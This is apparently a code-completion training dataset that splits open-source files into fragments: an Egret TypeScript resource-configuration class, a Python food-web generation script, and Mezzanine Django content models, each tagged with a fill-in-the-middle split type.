item.subkeys = subkeys; var length:number = subkeys.length; for(var i:number = 0;i < length;i++){ var key:string = subkeys[i]; if(this.keyMap[key]!=null) continue; this.keyMap[key] = item; } } } /** * 获取加载项的name属性 * @method RES.ResourceConfig#getType * @param key {string} 对应配置文件里的name属性或sbuKeys属性的一项。 * @returns {string} */ public getName(key:string):string{ var data:any = this.keyMap[key]; return data?data.name:""; } /** * 获取加载项类型。 * @method RES.ResourceConfig#getType * @param key {string} 对应配置文件里的name属性或sbuKeys属性的一项。 * @returns {string} */ public getType(key:string):string { var data:any = this.keyMap[key]; return data ? data.type : ""; } public getRawResourceItem(key:string):any{ return this.keyMap[key]; } /** * 获取加载项信息对象 * @method RES.ResourceConfig#getResourceItem * @param key {string} 对应配置文件里的key属性或sbuKeys属性的一项。 * @returns {egret.ResourceItem} */ public getResourceItem(key:string):ResourceItem { var data:any = this.keyMap[key]; if (data) return this.parseResourceItem(data); return null; } /** * 转换Object数据为ResourceItem对象 */ private parseResourceItem(data:any):ResourceItem { var resItem:ResourceItem = new ResourceItem(data.name, data.url, data.type); resItem.data = data; return resItem; } } }
ResourceConfig
identifier_name
ResourceConfig.ts
/** * Copyright (c) Egret-Labs.org. Permission is hereby granted, free of charge, * to any person obtaining a copy of this software and associated documentation * files (the "Software"), to deal in the Software without restriction, including * without limitation the rights to use, copy, modify, merge, publish, distribute, * sublicense, and/or sell copies of the Software, and to permit persons to whom * the Software is furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included * in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, * INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR * PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE * FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, * ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ module RES { /** * @class RES.ResourceConfig * @classdesc */ export class ResourceConfig { public constructor() { RES["configInstance"] = this; } /** * 根据组名获取组加载项列表 * @method RES.ResourceConfig#getGroupByName * @param name {string} 组名 * @returns {Array<egret.ResourceItem>} */ public getGroupByName(name:string):Array<ResourceItem> { var group:Array<ResourceItem> = new Array<ResourceItem>(); if (!this.groupDic[name]) return group; var list:Array<any> = this.groupDic[name]; var length:number = list.length; for (var i:number = 0; i < length; i++) { var obj:any = list[i]; group.push(this.parseResourceItem(obj)); } return group; } /** * 根据组名获取原始的组加载项列表 * @method RES.ResourceConfig#getRawGroupByName * @param name {string} 组名 * @returns {Array<any>} */ public getRawGroupByName(name:string):Array<any>{ if (this.groupDic[name]) return this.groupDic[name]; return []; } /** * 创建自定义的加载资源组,注意:此方法仅在资源配置文件加载完成后执行才有效。 * 可以监听ResourceEvent.CONFIG_COMPLETE事件来确认配置加载完成。 * @method RES.ResourceConfig#createGroup * @param name {string} 要创建的加载资源组的组名 * @param keys {egret.Array<string>} 要包含的键名列表,key对应配置文件里的name属性或sbuKeys属性的一项或一个资源组名。 * @param override {boolean} 是否覆盖已经存在的同名资源组,默认false。 * @returns {boolean} */ public createGroup(name:string, keys:Array<string>, override:boolean = false):boolean { if ((!override && this.groupDic[name]) || !keys || keys.length == 0) return false; var groupDic:any = this.groupDic; var group:Array<any> = []; var length:number = keys.length; for (var i:number = 0; i < length; i++) { var key:string = keys[i]; var g:Array<any> = groupDic[key]; if(g){ var len:number = g.length; for(var j:number=0;j<len;j++){ var item:any = g[j]; if (group.indexOf(item) == -1) group.push(item); } } else{ item = this.keyMap[key]; if (item && group.indexOf(item) == -1) group.push(item); } } if (group.length == 0) return false; this.groupDic[name] = group; return true; } /** * 一级键名字典 */ private keyMap:any = {}; /** * 加载组字典 */ private groupDic:any = {}; /** * 解析一个配置文件 * @method RES.ResourceConfig#parseConfig * @param data {any} 配置文件数据 * @param folder {string} 加载项的路径前缀。 */ public parseConfig(data:any, folder:string):void { if (!data) return; var resources:Array<any> = data["resources"]; if (resources) { var length:number = resources.length; for (var i:number = 0; i < length; i++) { var item:any = resources[i]; var url:string = item.url; if(url&&url.indexOf("://")==-1) item.url = folder + url; this.addItemToKeyMap(item); } } var groups:Array<any> = data["groups"]; if (groups) { length = groups.length; for (i = 0; i < length; i++) { var group:any = groups[i]; var list:Array<any> = []; var keys:Array<string> = (<string> group.keys).split(","); var l:number = keys.length; for (var j:number = 0; j < l; j++) { var name:string = keys[j].trim(); item = this.keyMap[name]; if (item && list.indexOf(item) == -1) { list.push(item); } } this.groupDic[group.name] = list; } } } /** * 添加一个二级键名到配置列表。 * @method RES.ResourceConfig#addSubkey * @param subkey {string} 要添加的二级键名 * @param name {string} 二级键名所属的资源name属性 */ public addSubkey(subkey:string,name:string):void{ var item:any = this.keyMap[name]; if(item&&!this.keyMap[subkey]){ this.keyMap[subkey] = item; } } /** * 添加一个加载项数据到列表 */ private addItemToKeyMap(item:any):void{ if(!this.keyMap[item.name]) this.keyMap[item.name] = item; if(item.hasOwnProperty("subkeys")){ var subkeys:Array<any> = (<string><any> (item.subkeys)).split(","); item.subkeys = subkeys; var length:number = subkeys.length; for(var i:number = 0;i < length;i++){ var key:string = subkeys[i]; if(this.keyMap[key]!=null) continue; this.keyMap[key] = item; } } } /** * 获取加载项的name属性 * @method RES.ResourceConfig#getType * @param key {string} 对应配置文件里的name属性或sbuKeys属性的一项。 * @returns {string} */ public getName(key:string):string{ var data:any = this.keyMap[key]; return data?data.name:""; } /** * 获取加载项类型。 * @method RES.ResourceConfig#getType * @param key {string} 对应配置文件里的name属性或sbuKeys属性的一项。 * @returns {string} */ public getType(key:string):string { var data:any = this.keyMap[key]; return data ? data.type : ""; } public getRawResourceItem(key:string):any{ return this.keyMap[key]; } /** * 获取加载项信息对象 * @method RES.ResourceConfig#getResourceItem * @param key {string} 对应配置文件里的key属性或sbuKeys属性的一项。 * @returns {egret.ResourceItem} */ public getResourceItem(key:string):ResourceItem { var data:any = this.keyMap[key]; if (data) return this.parseResourceItem(data); return null; } /** * 转换Object数据为ResourceItem对象 */ private parseResourceItem(da
esourceItem = new ResourceItem(data.name, data.url, data.type); resItem.data = data; return resItem; } } }
ta:any):ResourceItem { var resItem:R
identifier_body
ResourceConfig.ts
/** * Copyright (c) Egret-Labs.org. Permission is hereby granted, free of charge, * to any person obtaining a copy of this software and associated documentation * files (the "Software"), to deal in the Software without restriction, including * without limitation the rights to use, copy, modify, merge, publish, distribute, * sublicense, and/or sell copies of the Software, and to permit persons to whom * the Software is furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included * in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, * INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR * PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE * FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, * ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ module RES { /** * @class RES.ResourceConfig * @classdesc */ export class ResourceConfig { public constructor() { RES["configInstance"] = this; } /** * 根据组名获取组加载项列表 * @method RES.ResourceConfig#getGroupByName * @param name {string} 组名 * @returns {Array<egret.ResourceItem>} */ public getGroupByName(name:string):Array<ResourceItem> { var group:Array<ResourceItem> = new Array<ResourceItem>(); if (!this.groupDic[name]) return group; var list:Array<any> = this.groupDic[name]; var length:number = list.length; for (var i:number = 0; i < length; i++) { var obj:any = list[i]; group.push(this.parseResourceItem(obj)); } return group; } /** * 根据组名获取原始的组加载项列表 * @method RES.ResourceConfig#getRawGroupByName * @param name {string} 组名 * @returns {Array<any>} */ public getRawGroupByName(name:string):Array<any>{ if (this.groupDic[name]) return this.groupDic[name]; return []; } /** * 创建自定义的加载资源组,注意:此方法仅在资源配置文件加载完成后执行才有效。 * 可以监听ResourceEvent.CONFIG_COMPLETE事件来确认配置加载完成。 * @method RES.ResourceConfig#createGroup * @param name {string} 要创建的加载资源组的组名 * @param keys {egret.Array<string>} 要包含的键名列表,key对应配置文件里的name属性或sbuKeys属性的一项或一个资源组名。 * @param override {boolean} 是否覆盖已经存在的同名资源组,默认false。 * @returns {boolean} */ public createGroup(name:string, keys:Array<string>, override:boolean = false):boolean { if ((!override && this.groupDic[name]) || !keys || keys.length == 0) return false; var groupDic:any = this.groupDic; var group:Array<any> = []; var length:number = keys.length; for (var i:number = 0; i < length; i++) { var key:string = keys[i]; var g:Array<any> = groupDic[key]; if(g){ var len:number = g.length; for(var j:number=0;j<len;j++){ var item:any = g[j]; if (group.indexOf(item) == -1) group.push(item); } } else{ item = this.keyMap[key]; if (item && group.indexOf(item) == -1) group.push(item); } } if (group.length == 0) return false; this.groupDic[name] = group; return true; } /** * 一级键名字典 */ private keyMap:any = {}; /** * 加载组字典 */ private groupDic:any = {}; /** * 解析一个配置文件 * @method RES.ResourceConfig#parseConfig * @param data {any} 配置文件数据 * @param folder {string} 加载项的路径前缀。 */ public parseConfig(data:any, folder:string):void { if (!data) return; var resources:Array<any> = data["resources"]; if (resources) { var length:number = resources.length; for (var i:number = 0; i < length; i++) { var item:any = resources[i]; var url:string = item.url; if(url&&url.indexOf("://")==-1) item.url = folder + url; this.addItemToKeyMap(item); } } var groups:Array<any> = data["groups"]; if (groups) { length = groups.length; for (i = 0; i < length; i++) { var group:any = groups[i]; var list:Array<any> = []; var keys:Array<string> = (<string> group.keys).split(","); var l:number = keys.length; for (var j:number = 0; j < l; j++) { var name:string = keys[j].trim(); item = this.keyMap[name]; if (item && list.indexOf(item) == -1) { list.push(item); } } this.groupDic[group.name] = list; } } } /** * 添加一个二级键名到配置列表。 * @method RES.ResourceConfig#addSubkey * @param subkey {string} 要添加的二级键名 * @param name {string} 二级键名所属的资源name属性 */ public addSubkey(subkey:string,name:string):void{ var item:any = this.keyMap[name]; if(item&&!this.keyMap[subkey]){ this.keyMap[subkey] = item; } } /** * 添加一个加载项数据到列表 */ private addItemToKeyMap(item:any):void{ if(!this.keyMap[item.name]) this.keyMap[item.name] = item; if(item.hasOwnProperty("subkeys")){ var subkeys:Array<any> = (<string><any> (item.subkeys)).split(","); item.subkeys = subkeys; var length:number = subkeys.length; for(var i:number = 0;i < length;i++){ var key:string = subkeys[i]; if(this.keyMap[key]!=null) continue; this.keyMap[key] = item; } } } /** * 获取加载项的name属性 * @method RES.ResourceConfig#getType * @param key {string} 对应配置文件里的name属性或sbuKeys属性的一项。 * @returns {string} */ public getName(key:string):string{ var data:any = this.keyMap[key]; return data?data.name:""; } /** * 获取加载项类型。 * @method RES.ResourceConfig#getType * @param key {string} 对应配置文件里的name属性或sbuKeys属性的一项。 * @returns {string} */ public getType(key:string):string { var data:any = this.keyMap[key]; return data ? data.type : ""; } public getRawResourceItem(key:string):any{ return this.keyMap[key]; } /** * 获取加载项信息对象 * @method RES.ResourceConfig#getResourceItem * @param key {string} 对应配置文件里的key属性或sbuKeys属性的一项。 * @returns {egret.ResourceItem}
*/ public getResourceItem(key:string):ResourceItem { var data:any = this.keyMap[key]; if (data) return this.parseResourceItem(data); return null; } /** * 转换Object数据为ResourceItem对象 */ private parseResourceItem(data:any):ResourceItem { var resItem:ResourceItem = new ResourceItem(data.name, data.url, data.type); resItem.data = data; return resItem; } } }
random_line_split
atn-generate-food-web.py
#!/usr/bin/env python3 """ Generates a plot and JSON file describing a food web. Files are stored in a directory named based on the species in the food web. If --parent-dir is not specified, the parent directory is determined automatically based on DATA_HOME. """ import os import sys import argparse from atntools import settings from atntools import foodwebs from atntools import util parser = argparse.ArgumentParser(description=globals()['__doc__']) parser.add_argument('--parent-dir', help="Parent directory to use instead of automatically-determined directory under DATA_HOME") parser.add_argument('--figsize', nargs=2, type=int, default=[4, 3], help="Width and height of the food web plot, in inches (combine with --dpi)") parser.add_argument('--dpi', type=int, default=100, help="Image resolution (dots per inch)") subparsers = parser.add_subparsers(dest='subparser_name') # 'generate' sub-command parser_generate = subparsers.add_parser('generate', help="Generate a new food web and save plot and JSON") parser_generate.add_argument('size', type=int, help="Number of species") parser_generate.add_argument('num_basal_species', type=int, help="Number of basal species") # 'regenerate' sub-command parser_regenerate = subparsers.add_parser('regenerate', help="Regenerate files in existing food web directory") parser_regenerate.add_argument('existing_dir', help="Existing food web directory") # 'from-node-ids' sub-command parser_from_node_ids = subparsers.add_parser('from-node-ids', help="Generate plot and JSON from given node IDs") parser_from_node_ids.add_argument('node_ids', nargs='+', type=int, help="List of node IDs") args = parser.parse_args() if not args.subparser_name: # No sub-command given
if args.subparser_name == 'generate': subweb = foodwebs.serengeti_predator_complete_subweb(args.size, args.num_basal_species) node_ids = sorted(subweb.nodes()) food_web_id = '-'.join([str(x) for x in node_ids]) if args.parent_dir is None: food_web_dir = util.get_food_web_dir(food_web_id) else: food_web_dir = os.path.join(os.path.expanduser(args.parent_dir), food_web_id) print("Creating food web directory " + food_web_dir) os.makedirs(food_web_dir) elif args.subparser_name == 'regenerate': food_web_dir = os.path.normpath(args.existing_dir) if not os.path.isdir(food_web_dir): print("Error: directory doesn't exist: " + food_web_dir, file=sys.stderr) sys.exit(1) food_web_id = os.path.basename(food_web_dir) node_ids = [int(x) for x in food_web_id.split('-')] serengeti = foodwebs.read_serengeti() subweb = serengeti.subgraph(node_ids) elif args.subparser_name == 'from-node-ids': node_ids = sorted(args.node_ids) serengeti = foodwebs.read_serengeti() subweb = serengeti.subgraph(node_ids) food_web_id = '-'.join([str(x) for x in node_ids]) if args.parent_dir is None: food_web_dir = util.get_food_web_dir(food_web_id) else: food_web_dir = os.path.join(os.path.expanduser(args.parent_dir), food_web_id) print("Creating food web directory " + food_web_dir) os.makedirs(food_web_dir) foodwebs.draw_food_web(subweb, show_legend=True, output_file=os.path.join(food_web_dir, 'foodweb.{}.png'.format(food_web_id)), figsize=args.figsize, dpi=args.dpi) with open(os.path.join(food_web_dir, 'foodweb.{}.json'.format(food_web_id)), 'w') as f: print(foodwebs.food_web_json(subweb), file=f)
parser.print_usage() sys.exit(1)
conditional_block
atn-generate-food-web.py
#!/usr/bin/env python3 """ Generates a plot and JSON file describing a food web. Files are stored in a directory named based on the species in the food web. If --parent-dir is not specified, the parent directory is determined automatically based on DATA_HOME. """ import os import sys import argparse from atntools import settings from atntools import foodwebs from atntools import util parser = argparse.ArgumentParser(description=globals()['__doc__']) parser.add_argument('--parent-dir', help="Parent directory to use instead of automatically-determined directory under DATA_HOME") parser.add_argument('--figsize', nargs=2, type=int, default=[4, 3], help="Width and height of the food web plot, in inches (combine with --dpi)") parser.add_argument('--dpi', type=int, default=100, help="Image resolution (dots per inch)") subparsers = parser.add_subparsers(dest='subparser_name') # 'generate' sub-command parser_generate = subparsers.add_parser('generate', help="Generate a new food web and save plot and JSON") parser_generate.add_argument('size', type=int, help="Number of species") parser_generate.add_argument('num_basal_species', type=int, help="Number of basal species") # 'regenerate' sub-command parser_regenerate = subparsers.add_parser('regenerate', help="Regenerate files in existing food web directory") parser_regenerate.add_argument('existing_dir', help="Existing food web directory") # 'from-node-ids' sub-command parser_from_node_ids = subparsers.add_parser('from-node-ids', help="Generate plot and JSON from given node IDs") parser_from_node_ids.add_argument('node_ids', nargs='+', type=int, help="List of node IDs") args = parser.parse_args() if not args.subparser_name: # No sub-command given parser.print_usage() sys.exit(1) if args.subparser_name == 'generate': subweb = foodwebs.serengeti_predator_complete_subweb(args.size, args.num_basal_species) node_ids = sorted(subweb.nodes()) food_web_id = '-'.join([str(x) for x in node_ids]) if args.parent_dir is None: food_web_dir = util.get_food_web_dir(food_web_id) else: food_web_dir = os.path.join(os.path.expanduser(args.parent_dir), food_web_id) print("Creating food web directory " + food_web_dir) os.makedirs(food_web_dir) elif args.subparser_name == 'regenerate': food_web_dir = os.path.normpath(args.existing_dir) if not os.path.isdir(food_web_dir): print("Error: directory doesn't exist: " + food_web_dir, file=sys.stderr) sys.exit(1) food_web_id = os.path.basename(food_web_dir) node_ids = [int(x) for x in food_web_id.split('-')] serengeti = foodwebs.read_serengeti() subweb = serengeti.subgraph(node_ids) elif args.subparser_name == 'from-node-ids': node_ids = sorted(args.node_ids) serengeti = foodwebs.read_serengeti() subweb = serengeti.subgraph(node_ids) food_web_id = '-'.join([str(x) for x in node_ids]) if args.parent_dir is None: food_web_dir = util.get_food_web_dir(food_web_id) else: food_web_dir = os.path.join(os.path.expanduser(args.parent_dir), food_web_id) print("Creating food web directory " + food_web_dir) os.makedirs(food_web_dir) foodwebs.draw_food_web(subweb, show_legend=True,
figsize=args.figsize, dpi=args.dpi) with open(os.path.join(food_web_dir, 'foodweb.{}.json'.format(food_web_id)), 'w') as f: print(foodwebs.food_web_json(subweb), file=f)
output_file=os.path.join(food_web_dir, 'foodweb.{}.png'.format(food_web_id)),
random_line_split
models.py
, blank=True, null=True, help_text=_("Leave blank to have the URL auto-generated from " "the title.")) class Meta: abstract = True def __str__(self): return self.title def save(self, *args, **kwargs): """ If no slug is provided, generates one before saving. """ if not self.slug: self.slug = self.generate_unique_slug() super(Slugged, self).save(*args, **kwargs) def generate_unique_slug(self): """ Create a unique slug by passing the result of get_slug() to utils.urls.unique_slug, which appends an index if necessary. """ # For custom content types, use the ``Page`` instance for # slug lookup. concrete_model = base_concrete_model(Slugged, self) slug_qs = concrete_model.objects.exclude(id=self.id) return unique_slug(slug_qs, "slug", self.get_slug()) def get_slug(self): """ Allows subclasses to implement their own slug creation logic. """ attr = "title" if settings.USE_MODELTRANSLATION: from modeltranslation.utils import build_localized_fieldname attr = build_localized_fieldname(attr, settings.LANGUAGE_CODE) # Get self.title_xx where xx is the default language, if any. # Get self.title otherwise. return slugify(getattr(self, attr, None) or self.title) def admin_link(self): return "<a href='%s'>%s</a>" % (self.get_absolute_url(), ugettext("View on site")) admin_link.allow_tags = True admin_link.short_description = "" class MetaData(models.Model): """ Abstract model that provides meta data for content. """ _meta_title = models.CharField(_("Title"), null=True, blank=True, max_length=500, help_text=_("Optional title to be used in the HTML title tag. " "If left blank, the main title field will be used.")) description = models.TextField(_("Description"), blank=True) gen_description = models.BooleanField(_("Generate description"), help_text=_("If checked, the description will be automatically " "generated from content. Uncheck if you want to manually " "set a custom description."), default=True) keywords = KeywordsField(verbose_name=_("Keywords")) class Meta: abstract = True def save(self, *args, **kwargs): """ Set the description field on save. """ if self.gen_description: self.description = strip_tags(self.description_from_content()) super(MetaData, self).save(*args, **kwargs) def meta_title(self): """ Accessor for the optional ``_meta_title`` field, which returns the string version of the instance if not provided. """ return self._meta_title or str(self) def description_from_content(self): """ Returns the first block or sentence of the first content-like field. """ description = "" # Use the first RichTextField, or TextField if none found. for field_type in (RichTextField, models.TextField): if not description: for field in self._meta.fields: if isinstance(field, field_type) and \ field.name != "description": description = getattr(self, field.name) if description: from mezzanine.core.templatetags.mezzanine_tags \ import richtext_filters description = richtext_filters(description) break # Fall back to the title if description couldn't be determined. if not description: description = str(self) # Strip everything after the first block or sentence. ends = ("</p>", "<br />", "<br/>", "<br>", "</ul>", "\n", ". ", "! ", "? ") for end in ends: pos = description.lower().find(end) if pos > -1: description = TagCloser(description[:pos]).html break else: description = truncatewords_html(description, 100) return description class TimeStamped(models.Model): """ Provides created and updated timestamps on models. """ class Meta: abstract = True created = models.DateTimeField(null=True, editable=False) updated = models.DateTimeField(null=True, editable=False) def save(self, *args, **kwargs): _now = now() self.updated = _now if not self.id: self.created = _now super(TimeStamped, self).save(*args, **kwargs) CONTENT_STATUS_DRAFT = 1 CONTENT_STATUS_PUBLISHED = 2 CONTENT_STATUS_CHOICES = ( (CONTENT_STATUS_DRAFT, _("Draft")), (CONTENT_STATUS_PUBLISHED, _("Published")), ) class Displayable(Slugged, MetaData, TimeStamped): """ Abstract model that provides features of a visible page on the website such as publishing fields. Basis of Mezzanine pages, blog posts, and Cartridge products. """ status = models.IntegerField(_("Status"), choices=CONTENT_STATUS_CHOICES, default=CONTENT_STATUS_PUBLISHED, help_text=_("With Draft chosen, will only be shown for admin users " "on the site.")) publish_date = models.DateTimeField(_("Published from"), help_text=_("With Published chosen, won't be shown until this time"), blank=True, null=True) expiry_date = models.DateTimeField(_("Expires on"), help_text=_("With Published chosen, won't be shown after this time"), blank=True, null=True) short_url = models.URLField(blank=True, null=True) in_sitemap = models.BooleanField(_("Show in sitemap"), default=True) objects = DisplayableManager() search_fields = {"keywords": 10, "title": 5} class Meta: abstract = True def save(self, *args, **kwargs): """ Set default for ``publish_date``. We can't use ``auto_now_add`` on the field as it will be blank when a blog post is created from the quick blog form in the admin dashboard. """ if self.publish_date is None: self.publish_date = now() super(Displayable, self).save(*args, **kwargs) def get_admin_url(self): return admin_url(self, "change", self.id) def publish_date_since(self): """ Returns the time since ``publish_date``. """ return timesince(self.publish_date) publish_date_since.short_description = _("Published from")
``get_absolute_url`` defined, to ensure all search results contains a URL. """ name = self.__class__.__name__ raise NotImplementedError("The model %s does not have " "get_absolute_url defined" % name) def set_short_url(self): """ Sets the ``short_url`` attribute using the bit.ly credentials if they have been specified, and saves it. Used by the ``set_short_url_for`` template tag, and ``TweetableAdmin``. """ if not self.short_url: from mezzanine.conf import settings settings.use_editable() parts = (self.site.domain, self.get_absolute_url()) self.short_url = "http://%s%s" % parts if settings.BITLY_ACCESS_TOKEN: url = "https://api-ssl.bit.ly/v3/shorten?%s" % urlencode({ "access_token": settings.BITLY_ACCESS_TOKEN, "uri": self.short_url, }) response = loads(urlopen(url).read().decode("utf-8")) if response["status_code"] == 200: self.short_url = response["data"]["url"] self.save() return "" def _get_next_or_previous_by_publish_date(self, is_next, **kwargs): """ Retrieves next or previous object by publish date. We implement our own version instead of Django's so we can hook into the published manager and concrete subclasses. """ arg = "publish_date__gt" if is_next else "publish_date__lt" order = "publish_date" if is_next else "-publish_date" lookup = {arg: self.publish_date} concrete_model = base_concrete_model(Displayable, self) try: queryset = concrete_model.objects.published except AttributeError: queryset = concrete_model.objects.all try: return queryset(**kwargs).filter(**lookup).order_by(order)[0] except IndexError: pass def get_next_by_publish_date(self, **kwargs): """ Retrieves next object by publish date. """ return self._get_next_or_previous_by_publish_date(True, **kwargs) def get_previous_by_publish_date(self, **kwargs): """ Retrieves previous object by publish date. """ return self._get_next_or_previous_by_publish_date(False, **kwargs) class RichText(models.Model): """ Provides a Rich Text field for managing general content and making it searchable. """ content = RichTextField(_("Content")) search_fields = ("content",) class Meta: abstract = True class OrderableBase(ModelBase): """ Checks for ``order_with_respect_to`` on the model's inner ``Meta`` class and if found, copies it to a custom attribute and deletes it since it will cause errors when used with ``ForeignKey("self")``. Also creates the ``ordering`` attribute on the ``Meta`` class if not yet provided. """
def get_absolute_url(self): """ Raise an error if called on a subclass without
random_line_split
models.py
break else: description = truncatewords_html(description, 100) return description class TimeStamped(models.Model): """ Provides created and updated timestamps on models. """ class Meta: abstract = True created = models.DateTimeField(null=True, editable=False) updated = models.DateTimeField(null=True, editable=False) def save(self, *args, **kwargs): _now = now() self.updated = _now if not self.id: self.created = _now super(TimeStamped, self).save(*args, **kwargs) CONTENT_STATUS_DRAFT = 1 CONTENT_STATUS_PUBLISHED = 2 CONTENT_STATUS_CHOICES = ( (CONTENT_STATUS_DRAFT, _("Draft")), (CONTENT_STATUS_PUBLISHED, _("Published")), ) class Displayable(Slugged, MetaData, TimeStamped): """ Abstract model that provides features of a visible page on the website such as publishing fields. Basis of Mezzanine pages, blog posts, and Cartridge products. """ status = models.IntegerField(_("Status"), choices=CONTENT_STATUS_CHOICES, default=CONTENT_STATUS_PUBLISHED, help_text=_("With Draft chosen, will only be shown for admin users " "on the site.")) publish_date = models.DateTimeField(_("Published from"), help_text=_("With Published chosen, won't be shown until this time"), blank=True, null=True) expiry_date = models.DateTimeField(_("Expires on"), help_text=_("With Published chosen, won't be shown after this time"), blank=True, null=True) short_url = models.URLField(blank=True, null=True) in_sitemap = models.BooleanField(_("Show in sitemap"), default=True) objects = DisplayableManager() search_fields = {"keywords": 10, "title": 5} class Meta: abstract = True def save(self, *args, **kwargs): """ Set default for ``publish_date``. We can't use ``auto_now_add`` on the field as it will be blank when a blog post is created from the quick blog form in the admin dashboard. """ if self.publish_date is None: self.publish_date = now() super(Displayable, self).save(*args, **kwargs) def get_admin_url(self): return admin_url(self, "change", self.id) def publish_date_since(self): """ Returns the time since ``publish_date``. """ return timesince(self.publish_date) publish_date_since.short_description = _("Published from") def get_absolute_url(self): """ Raise an error if called on a subclass without ``get_absolute_url`` defined, to ensure all search results contains a URL. """ name = self.__class__.__name__ raise NotImplementedError("The model %s does not have " "get_absolute_url defined" % name) def set_short_url(self): """ Sets the ``short_url`` attribute using the bit.ly credentials if they have been specified, and saves it. Used by the ``set_short_url_for`` template tag, and ``TweetableAdmin``. """ if not self.short_url: from mezzanine.conf import settings settings.use_editable() parts = (self.site.domain, self.get_absolute_url()) self.short_url = "http://%s%s" % parts if settings.BITLY_ACCESS_TOKEN: url = "https://api-ssl.bit.ly/v3/shorten?%s" % urlencode({ "access_token": settings.BITLY_ACCESS_TOKEN, "uri": self.short_url, }) response = loads(urlopen(url).read().decode("utf-8")) if response["status_code"] == 200: self.short_url = response["data"]["url"] self.save() return "" def _get_next_or_previous_by_publish_date(self, is_next, **kwargs): """ Retrieves next or previous object by publish date. We implement our own version instead of Django's so we can hook into the published manager and concrete subclasses. """ arg = "publish_date__gt" if is_next else "publish_date__lt" order = "publish_date" if is_next else "-publish_date" lookup = {arg: self.publish_date} concrete_model = base_concrete_model(Displayable, self) try: queryset = concrete_model.objects.published except AttributeError: queryset = concrete_model.objects.all try: return queryset(**kwargs).filter(**lookup).order_by(order)[0] except IndexError: pass def get_next_by_publish_date(self, **kwargs): """ Retrieves next object by publish date. """ return self._get_next_or_previous_by_publish_date(True, **kwargs) def get_previous_by_publish_date(self, **kwargs): """ Retrieves previous object by publish date. """ return self._get_next_or_previous_by_publish_date(False, **kwargs) class RichText(models.Model): """ Provides a Rich Text field for managing general content and making it searchable. """ content = RichTextField(_("Content")) search_fields = ("content",) class Meta: abstract = True class OrderableBase(ModelBase): """ Checks for ``order_with_respect_to`` on the model's inner ``Meta`` class and if found, copies it to a custom attribute and deletes it since it will cause errors when used with ``ForeignKey("self")``. Also creates the ``ordering`` attribute on the ``Meta`` class if not yet provided. """ def __new__(cls, name, bases, attrs): if "Meta" not in attrs: class Meta: pass attrs["Meta"] = Meta if hasattr(attrs["Meta"], "order_with_respect_to"): order_field = attrs["Meta"].order_with_respect_to attrs["order_with_respect_to"] = order_field del attrs["Meta"].order_with_respect_to if not hasattr(attrs["Meta"], "ordering"): setattr(attrs["Meta"], "ordering", ("_order",)) return super(OrderableBase, cls).__new__(cls, name, bases, attrs) class Orderable(with_metaclass(OrderableBase, models.Model)): """ Abstract model that provides a custom ordering integer field similar to using Meta's ``order_with_respect_to``, since to date (Django 1.2) this doesn't work with ``ForeignKey("self")``, or with Generic Relations. We may also want this feature for models that aren't ordered with respect to a particular field. """ _order = models.IntegerField(_("Order"), null=True) class Meta: abstract = True def with_respect_to(self): """ Returns a dict to use as a filter for ordering operations containing the original ``Meta.order_with_respect_to`` value if provided. If the field is a Generic Relation, the dict returned contains names and values for looking up the relation's ``ct_field`` and ``fk_field`` attributes. """ try: name = self.order_with_respect_to value = getattr(self, name) except AttributeError: # No ``order_with_respect_to`` specified on the model. return {} # Support for generic relations. field = getattr(self.__class__, name) if isinstance(field, GenericForeignKey): names = (field.ct_field, field.fk_field) return dict([(n, getattr(self, n)) for n in names]) return {name: value} def save(self, *args, **kwargs): """ Set the initial ordering value. """ if self._order is None: lookup = self.with_respect_to() lookup["_order__isnull"] = False concrete_model = base_concrete_model(Orderable, self) self._order = concrete_model.objects.filter(**lookup).count() super(Orderable, self).save(*args, **kwargs) def delete(self, *args, **kwargs): """ Update the ordering values for siblings. """ lookup = self.with_respect_to() lookup["_order__gte"] = self._order concrete_model = base_concrete_model(Orderable, self) after = concrete_model.objects.filter(**lookup) after.update(_order=models.F("_order") - 1) super(Orderable, self).delete(*args, **kwargs) def _get_next_or_previous_by_order(self, is_next, **kwargs): """ Retrieves next or previous object by order. We implement our own version instead of Django's so we can hook into the published manager, concrete subclasses and our custom ``with_respect_to`` method. """ lookup = self.with_respect_to() lookup["_order"] = self._order + (1 if is_next else -1) concrete_model = base_concrete_model(Orderable, self) try: queryset = concrete_model.objects.published except AttributeError: queryset = concrete_model.objects.filter try: return queryset(**kwargs).get(**lookup) except concrete_model.DoesNotExist: pass def get_next_by_order(self, **kwargs): """ Retrieves next object by order. """ return self._get_next_or_previous_by_order(True, **kwargs) def get_previous_by_order(self, **kwargs): """ Retrieves previous object by order. """ return self._get_next_or_previous_by_order(False, **kwargs) class
Ownable
identifier_name
models.py
